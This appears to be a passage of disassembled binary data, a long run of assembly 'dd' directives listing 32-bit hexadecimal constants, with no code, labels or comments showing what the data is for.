dd 0E0EFB30Bh, 0DAB88015h, 0F63BEC7Ah, 37590385h, 1C6496D4h
dd 80E92250h, 0F9895B63h, 0D702F2A2h, 0D5097A95h, 0F830C316h
dd 776D5C54h, 33F60002h, 580E63ABh, 2A2618CCh, 81C108BBh
dd 32B5B9h, 80C10C1Eh, 2F56A73h, 8585853h, 72904902h, 97157600h
dd 0DA633C25h, 1E14F457h, 1A61C8Eh, 0E453123Fh, 31F7D401h
dd 0D9057D72h, 9111601Dh, 0B4A84CC0h, 758E0046h, 0E529E7B0h
dd 0B0A5BA5Dh, 9572CD64h, 8C2570AFh, 43C0D0C1h, 0F254913Dh
dd 6500EEBCh, 0EBAA5407h, 12333CF3h, 706460B5h, 88387B78h
dd 0A300CC9Ah, 2487B149h, 2819DCB7h, 0F1AC3664h, 0A16BC308h
dd 0EA603080h, 63BA1940h, 0AC3F4915h, 0A3082868h, 0C4024716h
dd 0C6509088h, 0CAF092E8h, 0A3A8B30Ch, 3791ADh, 0BE691A02h
dd 93665EDBh, 10574Ch, 0AAF9D6BFh, 659DFBh, 8D8B5513h
dd 6AA5DC03h, 0E6033E75h, 7E976EF6h, 32BC90C0h, 21E4076Fh
dd 2174522Dh, 30800B25h, 4C09D205h, 37BCD0h, 0C1892689h
dd 4658006Dh, 43AFA40h, 0AC00B76Ch, 0BD6AF73Eh, 0E68C69B1h
dd 7C970053h, 0D611A4A7h, 0F60776D2h, 6D4807DAh, 4C42E920h
dd 0FBAD01B8h, 0CC816B8Ch, 28A07E03h, 0B2470002h, 62BE1BAFh
dd 92010F1Ah, 8756A558h, 0DBE45519h, 0F6896042h, 8C65C015h
dd 0B043EC02h, 608DDDD8h, 0FAFD0558h, 0FFFB01A0h, 0A412E506h
dd 115770F9h, 0D645B90Fh, 0DFC0DEB0h, 0B69B8B7Ah, 0EBFE3BF5h
dd 1A0600F3h, 0C8579252h, 4E0069A6h, 0B23F9F24h, 4C56B4Fh
dd 16FED47Ah, 4760C04Ah, 8D03B728h, 81858296h, 62800F75h
dd 9A42C7FEh, 0E8406DC5h, 0B5551E05h, 96CCEC10h, 32571200h
dd 8EC5728Ch, 0C0B238F4h, 94015CA7h, 381A598Dh, 0C9910098h
dd 58BCFEB7h, 0A1FEB4h, 22B93A4Ah, 0FDAB2113h, 4748BA00h
dd 161B6B95h, 7C070C91h, 853045D2h, 0B8494B26h, 0B78C2680h
dd 0DD0D88D5h, 0BD1B0369h, 42FB32EAh, 47443007h, 0B0680AEh
dd 7A50081h, 2FDB5E10h, 2B74B7E4h, 58636E30h, 3F5AF08h
dd 0A49C4EC8h, 0C4D0B49Eh, 0E174A036h, 4B409701h, 0E246E68Ah
dd 6BFB80D6h, 0B64D1Ah, 948E3324h, 0E6094C10h, 0CE2EC800h
dd 396E512Fh, 0D0D90777h, 104DE1B5h, 0B829F8C3h, 0B000A72h
dd 732BCE24h, 7C460414h, 6FD20394h, 4B312517h, 80B47EF1h
dd 681BFAB8h, 240F4F23h, 1E6C428Ch, 3E1A4B16h, 6AD284A0h
dd 71001B23h, 995189AEh, 0F6689Eh, 1584EBCEh, 727D8747h
dd 160A22E0h, 9C57F2F9h, 6470A880h, 7D28C43h, 0A28045C2h
dd 0D00744C5h
dd 65821A40h, 0AFD3E31Dh, 523DA4E8h, 0BF83034Ch, 0A8BA9697h
dd 2D8084h, 29D1326Bh, 0FA432513h, 0A214004h, 98F4DE06h
dd 15450C90h, 1A11117Eh, 78E413Fh, 86B770BCh, 2E08F4D6h
dd 8E58FDB6h, 65809672h, 46DF216Eh, 99CEB131h, 93401898h
dd 3FF155Fh, 0BDFE3F7Eh, 0A7C1CC7Dh, 9A14244Ch, 0DF673Ch
dd 668930E3h, 0D31086h, 4FE25F55h, 0B3F236F7h, 2B912260h
dd 5D2E17h, 5049FCB5h, 522FBD92h, 15C09501h, 5871A1E7h
dd 48371530h, 82675C78h, 61D4BA6Fh, 20D62377h, 1A5261D6h
dd 10F410D4h, 2369850Fh, 82A470A0h, 31002401h, 0DFF2AB04h
dd 0FB2D56h, 0F949DE07h, 471476F5h, 0D55616F4h, 2DC6BD8h
dd 982B32CDh, 800A63D8h, 5D00CE06h, 6CB4C1C6h, 450DF76h
dd 0BB36BAFCh, 8A608026h, 60072C3Fh, 76866379h, 0F825E6h
dd 1DAD1C04h, 7B629D02h, 0A6697900h, 13FD530Fh, 61820024h
dd 58CF76DDh, 57001EC0h, 60BBD22Ah, 3AFC75Eh, 5268E1A6h
dd 1AB04DECh, 4F3EF17Dh, 0A8EE00D3h, 8417CD0Fh, 0A1B907BFh
dd 60522B26h, 18CABBBDh, 9F09DCFAh, 8010A616h, 0A5082A2Ah
dd 330E0192h, 87186C1Eh, 831CF05Bh, 0CBC00D00h, 0BB37DE8Dh
dd 0CC9400B9h, 0C453667Fh, 0CF0CCE1Bh, 704EC352h, 0F2B100A6h
dd 0B5949648h, 63098D18h, 80972BABh, 59419AE8h, 0F212004Ah
dd 330FCD92h, 6A017F57h, 1A80C672h, 84487AC3h, 12E000D4h
dd 4C57E5FDh, 1FE02EBCh, 0F9C60B00h, 9A6D1AAFh, 0CD9B07E1h
dd 8526A47Eh, 0C046A71h, 10EB3FC8h, 91F200B9h, 0A081626Fh
dd 50F0BA97h, 1E78B4F8h, 0C49C2018h, 31A120h, 0DB73B9E0h
dd 0BB07348Fh, 53CA1800h, 0C12B4006h, 1AC40043h, 0D7DE6892h
dd 54248A02h, 1F0085D2h, 1C0FD81Eh, 5CE1F769h, 0B692E8F3h
dd 21F40051h, 4A969FA7h, 723E1D83h, 4EA08EE0h, 53864035h
dd 1C29F9h, 81162120h, 0CDBEDD4Fh, 33E93Fh, 761832A2h
dd 3C35EF3Ah, 0E00F243h, 0D587A0E2h, 2B0077B5h, 0D264AD70h
dd 0E3F2874h, 0DEF85F9Bh, 3962ECE0h, 3C0E5BA7h, 0A02F64C6h
dd 1E872330h, 1BF65Dh, 21349F5Ch, 0E0FDDFF3h, 10609800h
dd 40E5912Eh, 720D0054h, 68BE35E8h, 21000880h, 441C2D0Fh
dd 7506BBCBh, 0CB12869h, 0CE1F2CB4h, 156400F7h, 0DD74CC91h
dd 7543593Dh, 7FCA8200h, 11301E79h, 16F0B56Eh, 18CFD800h
dd 0FAFE1070h, 4A1301A6h, 9AFCA832h, 719080B4h, 2D9F3BD5h
dd 8AF00BCh, 3F1BE1D7h, 0A4021636h, 6E536556h, 0CB1C40C3h
dd 8A779Dh, 81E3D0B3h, 0A22A7ED1h, 2200F87Dh, 36DE4A4Eh
dd 397C7A74h, 0E307C60Ch, 0C01E7750h, 32CA6225h, 9B8C7307h
dd 2F10096Ah, 953DEFh, 7C24239Ch, 0FD867876h, 130BCC00h
dd 2E5FB820h, 98402858h, 375000B0h, 0C2768CACh, 9D0390BCh
dd 8D6A7EE2h, 2D4AB0C5h, 7093000Eh, 0A623FDBDh, 0D2005F59h
dd 153DF0FFh, 115219h, 974B3294h, 3FBF6AC7h, 0B41CFEF8h
dd 0FF4296E2h, 80B3766Bh, 8882218Ch, 7DEE0073h, 0D85ADF47h
dd 9D0001D1h, 0A5C5716Eh, 1D9FA142h, 8E6F89BEh, 85A0163Ah
dd 0ED0954A9h, 0D5B30400h, 126AFA34h, 58B4000Fh, 0D1442F3Dh
dd 150069EEh, 2D6F7B9h, 0EB49A9h, 0BFDAA74Bh, 8F791117h
dd 0AA603600h, 0A1095062h, 33781308h, 464900A7h, 118999D4h
dd 39F4D0A0h, 0E5220507h, 0DB20CF7Fh, 122102h, 0DC258E8Bh
dd 5F9CBA98h, 0D8B6B330h, 3E27EDFFh, 0F8500684h, 0E86949EFh
dd 7F2AB500h, 40D72116h, 77FE4603h, 96EA02h, 0F411C238h
dd 61B98EE8h, 0BC4B2200h, 1DAB2C9Eh, 19EA0012h, 798C440h
dd 0A69054F2h, 5FDD7117h, 876BE600h, 0F484620Eh, 82A2009Eh
dd 0E66365DBh, 81003EE7h, 74EB44ECh, 0B33513h, 0B6FEF9B2h
dd 37B430D8h, 5EEBC00h, 1BF43ACh, 0DE513F56h, 0FF007B3Ah
dd 0A2F63B17h, 0A9008EF0h, 1AAF999h, 0EF53D44h, 96984B55h
dd 0F7882A0h, 3C00FF4Ah, 0CE7A358Fh, 0D609F8h, 0BE76B290h
dd 9A972E9Bh, 1E26A700h, 0C881D8C4h, 35651E39h, 0FC017CE4h
dd 0B0B70FC6h, 0E4C2E94Fh, 80AB91F7h, 385FFC0h, 5C219201h
dd 0E65BF6C9h, 8388B041h, 487C42F8h, 0D1008E9Eh, 3EE28AF3h
dd 9209B30Bh, 80D2C73Bh, 0D6B890C4h, 2EF8FA35h, 2271FCh
dd 37EB3BD3h, 870095F0h, 403452A2h, 5F7C08h, 0B5BF717h
dd 5DF5B0EFh, 6EBEE400h, 26FDC3A5h, 0AB87002Ch, 9024C78Ah
dd 0C100B0EDh, 3EB67E05h, 4C3B4BDAh, 0B2CE4CAh, 822A03ECh
dd 59C1BB80h, 605CECD9h, 9C856100h, 1B3275AEh, 0DAC1121Ah
dd 51D70FE5h, 87EE25E4h, 7BE45094h, 90188A70h, 0BB20DEC6h
dd 98DA009Ch, 2FC9613Eh, 0AC00879Bh, 0D47CE77Dh, 108549Dh
dd 1DD023ADh, 0EC22B4CAh, 0B000D9FBh, 35AE4A0Eh, 2431ACBh
dd 0C4F195D0h, 7C40A665h, 0CF3D7B2Eh, 0A7D900CDh, 0E0FCAB7Eh
dd 0CBB50066h, 44AD4933h, 0D703878Bh, 7883A341h, 6095A08Ah
dd 0D7614CF2h, 0D4F62C00h, 0C6E8114Bh, 7E841407h, 72502256h
dd 8E829Ch, 610370AEh, 628F5389h, 0DD778600h, 4181D09Eh
dd 0D6D7002Ah, 69FB906Bh, 44008FBBh, 0CEBF4DEAh, 0BDA354h
dd 29EFB8C1h, 7D020D39h, 72A43838h, 0AE948600h, 0D1A91E47h
dd 9F1814BAh, 0EF00687Fh, 6B57873Bh, 0AF0E2402h, 0C0E43D5Ch
dd 0E76E6771h, 32E9002Ch, 8F8AA1D7h, 0A2E892D9h, 0E3621500h
dd 0BDB0EF5h, 0AA6601E5h, 30D67585h, 0D05220CFh, 0A4BB2B07h
dd 0EDB0492Dh, 772CD48h, 572C70D9h, 0B58A00E3h, 0A013623h
dd 76DAC5FBh, 88F8FD47h, 1CB7B4Eh, 9180B82Ah, 307736BDh
dd 40ED714h, 3D3E2D3Ch, 31FC0843h, 0B442C918h, 125D5B00h
dd 61A5C800h, 2E972D24h, 0C773040Dh, 0C0E915A1h, 6CDE36C2h
dd 0A6E1400h, 841697C5h, 421074Fh, 701BB9AAh, 0FBFCA172h
dd 870207E4h, 3845CBBAh, 0C044C840h, 0B5510746h, 205B8810h
dd 929AE4A7h, 5410A9h, 3A5824A0h, 0AC3AA926h, 1324A4A4h
dd 99D40028h, 0EBA50A7Bh, 6700787Fh, 4A9F439Eh, 3413F1h
dd 141A934Fh, 0E191BEB6h, 5B07D10Eh, 0DF3F80ABh, 70C0BDCh
dd 643C742Fh, 0E58370FAh, 0E2EC5E4Eh, 6F00F4FCh, 8577D082h
dd 2E0E678Ch, 1F8F51Bh, 1FC14BFh, 4078C95Fh, 196F5EA8h
dd 17D25D3Fh, 0FF0089B1h, 439AE3ADh, 26D1C341h, 310B5081h
dd 80CBC51Dh, 6FB2C49h, 6EC6008Fh, 603E1E34h, 0CA00EF53h
dd 8781EBDCh, 84B5C7h, 1409B470h, 51F2A947h, 0E4004376h
dd 0B1DEFF8Dh, 905F88Ah, 577890FCh, 0D52DE280h, 5B5CAA2Eh
dd 2542039Bh, 80DEA596h, 0CB3963h, 3B30EBD1h, 10572EA2h
dd 80970738h, 90BE0F1Ah, 7F54763Eh, 619A004Ah, 6FADA4FEh
dd 4F032785h, 3E2B4E2Dh, 98EC09Eh, 72300F10h, 0A600812h
dd 4E3729A2h, 0F901C67Fh, 4F7B452Ah, 1DECC71Ch, 0D4CA008Ch
dd 5BF40739h, 5700347Ah, 0F018CD82h, 7CFAE5D9h, 67741FC7h
dd 0D4B3C0B7h, 1BD3FF2Bh, 95012172h, 7E344A55h, 9520FAD8h
dd 539D02D2h, 1B103707h, 0A151B4A0h, 873CBFCFh, 16FC8777h
dd 5F44CCE1h, 0E67CA0h, 0B98904DAh, 0A08A7547h, 0E885F30Bh
dd 0F9C08099h, 5B8D5Dh, 0E672D49Dh, 0C9F4058Bh, 5A02F5F6h
dd 9F7548A2h, 31A44067h, 3F7DFE42h, 0F28366ABh, 6CA2BA22h
dd 0E2208960h, 3BAA74A6h, 91003D66h, 136CA3B0h, 8518033Bh
dd 8D306228h, 0EFDE0093h, 0E64B350Eh, 9D0061CDh, 0F6B3AB90h
dd 146DE9h, 0A3C2D069h
dd 747D2CF9h, 70D53704h, 0DAC3F713h, 0E9CBB014h, 0CB500D2h
dd 3FF37FD9h, 7A00E523h, 0F4FE7EE7h, 0E1312Fh, 0B53DC1FDh
dd 678ED7E0h, 8B521300h, 57E7820Fh, 0A877A1h, 6D9B8AC8h
dd 6AA22AE2h, 64C5B507h, 9E103F82h, 0C97861h, 0BDB78B6Fh
dd 0E290EC5Ch, 28504600h, 63D13D26h, 6AB00089h, 0B6DF9CB1h
dd 0F400B24Bh, 646599E5h, 70CDBF06h, 0E1D500D2h, 0D9BB19B7h
dd 0D60F222Fh, 808A2C38h, 0A96D52B8h, 0E1FC1E67h, 0FA1EC081h
dd 8FC497A5h, 35076176h, 1C5D86FBh, 0F7A15BE0h, 0E1560304h
dd 0C1C91E07h, 0A3249B98h, 29CE1930h, 76B789h, 0BC5BD563h
dd 0BF33FA54h, 4F005EE8h, 6DBA1CB5h, 0C4D86Eh, 64055FAAh
dd 237C21BCh, 7406EE79h, 4C24D515h, 1AC00368h, 78B0FFA9h
dd 5F8EB205h, 0BBC0B9AFh, 3EBE94BFh, 0AE0326F9h, 207F0E78h
dd 33572DC8h, 1C01B00h, 56068688h, 0CA0A0013h, 0D5BB538Ah
dd 507148CFh, 80D7813Ch, 24FE0849h, 0E7C18Eh, 0E90B8938h
dd 0C764B197h, 72165A00h, 50014994h, 45D30083h, 0A95381D5h
dd 0BD0A6E55h, 0CDF61D6Dh, 0C01B430Eh, 0D44C2EC8h, 0B3EC264Eh
dd 3FED00CFh, 26F5FDA5h, 88601800h, 22BB8E08h, 4ED53009h
dd 0FC248420h, 2A52C09Dh, 0CC1F03FEh, 77A7F816h, 30052000h
dd 0FB1DE68Fh, 6907000Fh, 8E094357h, 7D04A340h, 7F232DE5h
dd 4B412AC0h, 0AAC900D5h, 0E122AF71h, 4000BD09h, 1329FEDh
dd 0D227DAh, 0DF8CA6D9h, 0FE4C486h, 20E6A8CCh, 903C004Fh
dd 0F50C37D2h, 6008CDFh, 2B43EF70h, 33AAC89Dh, 80B8D793h
dd 5483EC0h, 44947601h, 0AAD115C3h, 8050B0B0h, 0C9B0FF53h
dd 8A74A401h, 0AAF06DABh, 0B5EAF8h, 3375D196h, 0A7ED1CA6h
dd 0D2380E67h, 0B707B813h, 0AB3CEE03h, 0CB081801h, 2FC720F0h
dd 5C524100h, 9F724EAh, 276EA07h, 0F83F129Ch, 0A8E01151h
dd 9707602Ch, 0C3B3E84Ch, 455D6270h, 0A6741816h, 0BF2E84B2h
dd 2DD8500h, 0E2A5B4DAh, 67EF1EEDh, 5DC4095h, 372357FBh
dd 0AACE4103h, 788968E9h, 0CBFC39h, 8899F67Ch, 0C04A2AD0h
dd 7E45104h, 0C0BE9A68h, 21709C34h, 7178239h, 981FF8FBh
dd 9138AB83h, 0C40908Bh, 0EB77A3h, 231B5C51h, 0B6189AAAh
dd 0D5208560h, 13C97AD6h, 18CB31DDh, 0E561195Bh, 0F54ABD0Fh
dd 74C9C0C1h, 38052C04h, 7F465F6h, 0B3E54D86h, 0E38C50F5h
dd 6F0982C5h, 80FBD65Dh, 6D6AC8A3h, 0BCFF01C4h, 0A522391Ah
dd 3FC3D233h, 70D201Dh, 70309380h, 0FDC8B2h, 9E203E26h
dd 0C54ACEEAh, 31B6510Ch, 5550C9h, 69CC680Bh, 7F68E63h
dd 188F153Ah, 0A320C575h, 111600B9h, 32B0CC4h, 27025BB3h
dd 0F202E385h, 43848097h, 0EACB1F70h, 4C4A140Dh, 3F0010D5h
dd 0F7FC83E5h, 0FA01A8DAh, 13AEF5DCh, 1080E8CEh, 0B1941B06h
dd 0DD07687Eh, 0E7FE04E5h, 0F5D243h, 8BCCF020h, 0B5DB1E0Eh
dd 0F6DD051Fh, 23E89143h, 0E0F78840h, 0A5A4001Ch, 0E143FC3Ch
dd 8712862h, 0E3D383Ah, 58E6F2F9h, 861270F9h, 6168E80Eh
dd 648FE86Eh, 0EFC4543h, 3A118C01h, 0E740AB9Bh, 78D037EBh
dd 56B100C8h, 426BA4B2h, 855424ECh, 5C4380D4h, 0D443E507h
dd 3131641Ah, 7E009085h, 0DB008958h, 142FF78Ch, 0EDFC82h
dd 1BCEABDAh, 0FF43063Ah, 6C4E0A00h, 88521F7Ch, 79420B9Ah
dd 0C78EB32Ch, 23F00D2h, 7E20B8EEh, 9BD73800h, 4FE0C951h
dd 0A41F0AC0h, 1878650h, 21530A01h, 0B99C60EEh, 0BFA9BD00h
dd 76E130Eh, 9CEF076Bh, 60D45203h, 36A66F74h, 1ACB48h
dd 218D4A63h, 0BFF32Fh, 76D464D0h, 42BC58B2h, 0F07C8398h
dd 0C2757900h, 2F04C599h, 0DF038h, 0C13AB012h, 8D37286Bh
dd 0F1FC9107h, 34C0E6ACh, 0FB9D08Bh, 0C9993987h, 9D8FF301h
dd 0B49EE084h, 0ED284760h, 7688CFEh, 0B741CCDAh, 30C9E769h
dd 0DE669DAAh, 0C238A100h, 1CF05C97h, 303DE276h, 0BC086E1Ah
dd 4CE691EAh, 0F45B1D0Ch, 7EB34885h, 204B3F0Dh, 8FBBF300h
dd 7D7B01ABh, 67167700h, 9DE6FAFDh, 226400AFh, 3779F0D4h
dd 39F638EDh, 0E32010Eh, 0B31B80DEh, 7BA0BD8Bh, 66A302Fh
dd 962437A8h, 5BEC68C0h, 3C67CABh, 87508B7Fh, 3DC3ACC8h
dd 0FAC05FA8h, 0C72FE707h, 0B8809138h, 590F9Eh, 0E6B169FFh
dd 28933064h, 457A1E1Eh, 1306DA80h, 793BC580h, 76E90604h
dd 792ECBF1h, 74C79802h, 0A9BD5057h, 0C0228E98h, 81601B36h
dd 4E3C00C5h, 0E266E926h, 46E18E55h, 0CF0059B3h, 2BD22C12h
dd 7217E33h, 4C27E13Eh, 307717D0h, 0E3D7578Eh, 401E74E0h
dd 2C1D190Dh, 8917A840h, 4B96DEh, 73EBB049h, 59E0FD41h
dd 76AA3300h, 32AC2C7h, 13860096h, 0A58E6F0Eh, 7D0064F9h
dd 95924582h, 3BFECE6h, 0DD8F9A2Fh, 0C02E0860h, 813BA506h
dd 3EE6B6C4h, 18803884h, 66D75293h, 0E318C1C7h, 61F0A9B9h
dd 1F870135h, 9273849Bh, 2F8C40DEh, 2D48C9D9h, 0E0C5155Ch
dd 1F04032Ch, 0D43EF9ABh, 89CD2F30h, 84AC5580h, 0BCF38B10h
dd 0AFF85608h, 0BFFDA188h, 8D53B11h, 8AABE78h, 1743855Ch
dd 0B1B11046h, 2B3784B2h, 7A738080h, 59A26747h, 5E2747Dh
dd 5804B778h, 888075B0h, 0A02B603Eh, 407E3B2Ch, 0AE420DC6h
dd 0BE632F08h, 6DC1E04h, 8AB46D4Ah, 43FCB4C5h, 0D0608E99h
dd 2301A450h, 0B7B861h, 0F584662Bh, 2C90C9F1h, 3F5EB114h
dd 80B43BC4h, 0C456B875h, 0E6213C1h, 8D012957h, 4FDD0350h
dd 0F7392F5Bh, 7F0090AAh, 0F6CB5D91h, 785FE2Ch, 421899B7h
dd 5A1EF02Eh, 0BA139190h, 30520592h, 0ABC11C02h, 867440FBh
dd 401313ACh, 6D042014h, 0D500A9F5h, 82445E31h, 0EEEF235h
dd 4576DB37h, 75A12B60h, 40480151h, 5DF2859Ch, 0B479D70Ah
dd 0BCB24905h, 46F09805h, 7C68BC00h, 0B0993CF8h, 603E7FFAh
dd 2AFDD17Bh, 763D6D6Bh, 0E22C800Dh, 0C5B03705h, 2D9124FAh
dd 0EAA98034h, 0C9565812h, 76349703h, 0A82AA238h, 0D3E4DBh
dd 997565A1h, 0E2FD7B1h, 449EBD0Ch, 7D2BB6DEh, 6F3F0014h
dd 0E5AEABADh, 773DFD16h, 0B5C68255h, 0E04730FEh, 0C02B8D5Ch
dd 37F18CD0h, 0C30074D2h, 2D260843h, 989F0760h, 7397E83h
dd 0BD87691Ch, 48C7B0DBh, 4D02E3EFh, 626A0496h, 0CAC3E4h
dd 88F62EE1h, 0B10A1CB3h, 0C676E13h, 4995F200h, 3C75548h
dd 5CFE0D77h, 0A480BA46h, 4006B3C1h, 0B7E1FC43h, 0B8BD0091h
dd 152DF045h, 3C3091E4h, 291F18D5h, 2C889A81h, 3D8659Fh
dd 0D7639187h, 34932000h, 737CBB6Ah, 71F00F3h, 2AED2B1Ah
dd 0A812C43Fh, 5040FCBFh, 33D7A55Ah, 4C46001Dh, 0DAC149A9h
dd 0DB009776h, 0C33F2F37h, 5D762h, 0B7C90BBBh, 7E997AE8h
dd 3CB61207h, 19606F75h, 32FB4Fh, 8552F196h, 0FE8CCCD7h
dd 0FD93D00h, 6F16865Fh, 510B00C8h, 35A3C215h, 64006E76h
dd 0DD4BF439h, 0DECE7Ah, 757DFA0Bh, 0FE0E83F1h, 15578D00h
dd 0D3E67B04h, 0E35900DEh, 54AAF3E7h, 74E6B37Fh, 93CDFF00h
dd 6877DD7Bh, 6DB8004Fh, 24C131DEh, 720040A4h, 85162981h
dd 5AEFFBh, 3D4C860h, 0A20F3F78h, 57DF4B00h, 0F1B6BCA1h
dd 8AEB0381h, 581568FAh, 0B2119AA8h, 1891D300h, 51F24F0Bh
dd 0E92158E3h, 0D659E00h, 387027F5h, 5755DE03h, 0D00CD5D9h
dd 736A5CEh, 3D24950Bh, 0BB1E302Ch, 0FE00E144h, 5253EAB3h
dd 0F1037D3h, 7EBDDB48h, 1F94716Ah, 0EEC20FB5h, 8C9ABB60h
dd 7B3163D7h, 16871833h
dd 88C1044Fh, 0F096F04Dh, 640127CFh, 0C706E81Bh, 0A0C8B92Ah
dd 8D2E00AEh, 757286A2h, 0C10C79F8h, 28211ED7h, 0D5FF4493h
dd 0F77ED844h, 1169E611h, 571034CFh, 0A308362Eh, 8489AA86h
dd 0F1C02C5h, 0C328D1DBh, 40CFF228h, 4B62C0F9h, 2132B729h
dd 8C54DCB4h, 29150250h, 8311E197h, 2F4511FEh, 57CE518Fh
dd 6DDC0870h, 86BF1026h, 22A10962h, 0D3108C7Ah, 0B281A60h
dd 0C68E7E64h, 2976C679h, 20B55B22h, 0E5FCFA67h, 0FB269000h
dd 527B7899h, 6D4D0EDFh, 70EEF39Ah, 2691C780h, 39003BE4h
dd 42BA018h, 15B73F7h, 3C658EE6h, 0D4C0B241h, 5E7F3074h
dd 0C00D1FCh, 4EB0174Ah, 3F75EE4Ch, 28086BAh, 8573C24Fh
dd 0B27BCB26h, 0D7445700h, 891BF8B0h, 168E68Eh, 9DD1113Dh
dd 0F01330B3h, 0A500DD3Ah, 292BC1D3h, 4941E0h, 0BFCCB669h
dd 867C739Ch, 22F43C01h, 19050DFFh, 3E9B57C8h, 94262B5Fh
dd 0BB1800D5h, 22778216h, 1E563Ch, 2FA89F41h, 1EEB8CCBh
dd 406FEC85h, 0BD5EB759h, 0FC482E83h, 9A0E6040h, 3C8D0229h
dd 0C19FEC41h, 0C0B301F4h, 0D05A6452h, 0BC1CD84Eh, 0DE07E16Ch
dd 6870C7F0h, 0F7BA0Dh, 8E9169FDh, 0B4B007DDh, 387C6602h
dd 60578362h, 0ACBD5Bh, 42E5BFE0h, 5CB2563Ah, 6C33E20Ah
dd 0E701905Eh, 0EE038077h, 3F73B7C8h, 0D5872AA9h, 40435F10h
dd 13703F93h, 8C94C300h, 0E277ED8Fh, 0EBA6016Eh, 2F153E7Dh
dd 18B3EB44h, 4E9FD6C8h, 0ED1D3373h, 55D84284h, 1DEF309h
dd 7750E1BCh, 80EB6994h, 9C73C818h, 0C758AFh, 0B8A76D83h
dd 0BC6ED74Ah, 0E9D84000h, 92A890CCh, 97F64Dh, 9AEEAE0Ch
dd 1418B2ABh, 40885060h, 0E5AD7Eh, 2655F96Bh, 2E6ADDA5h
dd 494C1D16h, 8E428800h, 48C1D75Ch, 0D10047D4h, 0AF13F573h
dd 11010D31h, 6E78A63Fh, 0E02FEF3Dh, 70C3A42h, 10E9201Bh
dd 33D90E12h, 54837CDEh, 3CB8FA79h, 0F898F4C6h, 4C00A870h
dd 8D6CD423h, 2E0E5186h, 335F74Eh, 848ABA6Fh, 0E14172A0h
dd 0DEEB9E00h, 33AA2788h, 619A0097h, 19D68D0Bh, 140084A0h
dd 93A154FDh, 248001F4h, 3D2637B2h, 0CD4F300Fh, 0CAA9A3E0h
dd 0D3FBA72h, 2DFE80E0h, 0C06B0A2Ah, 0F4470009h, 0E273B628h
dd 40009380h, 9EEB4A87h, 7863D0Ah, 0F035DD4Dh, 82F4C0BDh
dd 3200FA07h, 0C99BDB20h, 4F897Bh, 0BF5D1873h, 5EF87727h
dd 0E2EC7C00h, 0E16B3372h, 251A00C4h, 775F9C7Fh, 8C1E3A69h
dd 0B4066CC9h, 20E839h, 0BB6BFCEAh, 1D2C5DFBh, 97508900h
dd 0A95FF574h, 402800C7h, 0B66ED1CAh, 0C00E851h, 4B08A872h
dd 0A2A3C8h, 52F52719h, 5F51771Bh, 79A0C504h, 0F8901DC0h
dd 67CAADh, 0EB9D7DD3h, 0E6E3F450h, 69A20900h, 9ED63E7Bh
dd 13F2001Dh, 9AA772C8h, 84DC55D7h, 7D00F43Ch, 1F1D6204h
dd 1F06ABAAh, 0DE4656ECh, 7A920099h, 784BC8D1h, 387DA800h
dd 8019B68Dh, 32810001h, 0B26A3D2Fh, 9A0037F7h, 8BA7C382h
dd 21C2FDh, 0C52549E2h, 6C76AF1Fh, 770041F8h, 0FCBB4562h
dd 39144Bh, 5EB9ED97h, 284C99BEh, 788E8200h, 0FE619B22h
dd 0A07D018Ch, 0C0185A10h, 9C50F48Dh, 39A6B000h, 0E835914Ah
dd 206905D1h, 87893C47h, 0C2A5F086h, 0FB005C93h, 0AC8FE643h
dd 544A29Bh, 0E02CB145h, 37D10FB0h, 83547220h, 787BDBD3h
dd 0A362C400h, 328D3A39h, 417E99h, 8A8066E4h, 68B852C7h
dd 0F21F71ECh, 0E012D5ABh, 698F0444h, 0D33565C0h, 61BE0E6Eh
dd 0F34BABh, 276DA168h, 0FC9003E9h, 0F1EBBF00h, 2BF5B61Dh
dd 0D5870017h, 7EDA65CAh, 0E1001EEAh, 24C63ABAh, 0A0C0D34h
dd 480350BEh, 0E8C880F4h, 76BAC06Ah, 0F11C8000h, 4652FAE7h
dd 1E5018D3h, 1F3934CCh, 69A81800h, 2312119h, 0A2E70035h
dd 0EDB792A1h, 0CD0371FBh, 93324D5Bh, 2153B10Dh, 90EB84D8h
dd 0DE9701E0h, 946EA2C4h, 2C55E47Ch, 16786000h, 2ADB04F0h
dd 0FE0D0E0Eh, 0C1A0E992h, 8E93583Bh, 0C701CAF8h, 0EF0FAE7Ah
dd 16F85489h, 0AA73DFh, 1ABD2D96h, 0B13340C7h, 0C646C300h
dd 34E68FCh, 1E9CEA0Dh, 72529D5h, 80AEA205h, 8C37F0F7h
dd 0D9036302h, 607C2760h, 140E44h, 0C50985B4h, 33C06245h
dd 6CE46450h, 0E42CF500h, 98FF1E3Dh, 5B050003h, 7338DE3Ah
dd 0D403B552h, 0EAAAA31Fh, 76908002h, 440E0006h, 0F8F4748Fh
dd 0F2004D3Ah, 0E2B392DCh, 2EC05BB6h, 39F4E1A9h, 888E01F4h
dd 138FA111h, 7A6BCC79h, 5B672D00h, 201E2CFAh, 0C6CEA0E1h
dd 0D74800B0h, 0CA30391Ah, 0B4004273h, 21E3F864h, 2E74B3BFh
dd 0BC8E41h, 33D0127Fh, 440FDD85h, 0A262C9h, 6FCED734h
dd 0F0A9005Ah, 90316BEEh, 1A038B4Ah, 0D29F2A8Ch, 24E3814Fh
dd 4300EC33h, 0FDB96FF0h, 9B00E0FBh, 2550BC3Dh, 4FDA23h
dd 94EE55C9h, 0D435033Bh, 5FB6F900h, 0DBE3CC51h, 5370ECh
dd 9BEEAC1Ah, 60036270h, 0D2CECA00h, 6A45EE4h, 97A90F5h
dd 52DC1CE1h, 0F9582500h, 83F6F857h, 0FC37D000h, 2DC36BD4h
dd 8099B02Bh, 1D6E3BD8h, 80C05924h, 144C9A2Eh, 0E500B709h
dd 5EFFB8EAh, 1FBF7BD5h, 193238Ah, 9D281192h, 1E82C08Bh
dd 0A755807h, 0EA22EDBh, 239CA067h, 2CB54FFh, 0BE5DE23Dh
dd 8A40AB05h, 5F009FBFh, 0F00A3860h, 1D36D2Fh, 74B2A881h
dd 0DC40BB5Eh, 0D03FC159h, 0DE00FE18h, 0AA4E6C8Bh, 0F84B0Fh
dd 9601E7E0h, 88B23220h, 3D68A00h, 0D47BCD3Bh, 0CF79383Dh
dd 5768FA00h, 86B5B3C9h, 0B48A4C00h, 0EDDF639Fh, 44E5077Dh
dd 0FD3943Eh, 43362CC0h, 91008705h, 314FB0A5h, 2C6F6h
dd 6C66BDCCh, 3EA1E270h, 0B348C500h, 3C0C4DDAh, 2B531EEAh
dd 0B954006Eh, 58C36A94h, 3EAA3900h, 8C630DACh, 0EFC00065h
dd 0EDCB127h, 7900B728h, 6F962B61h, 1FEB5514h, 0C11BA49Ah
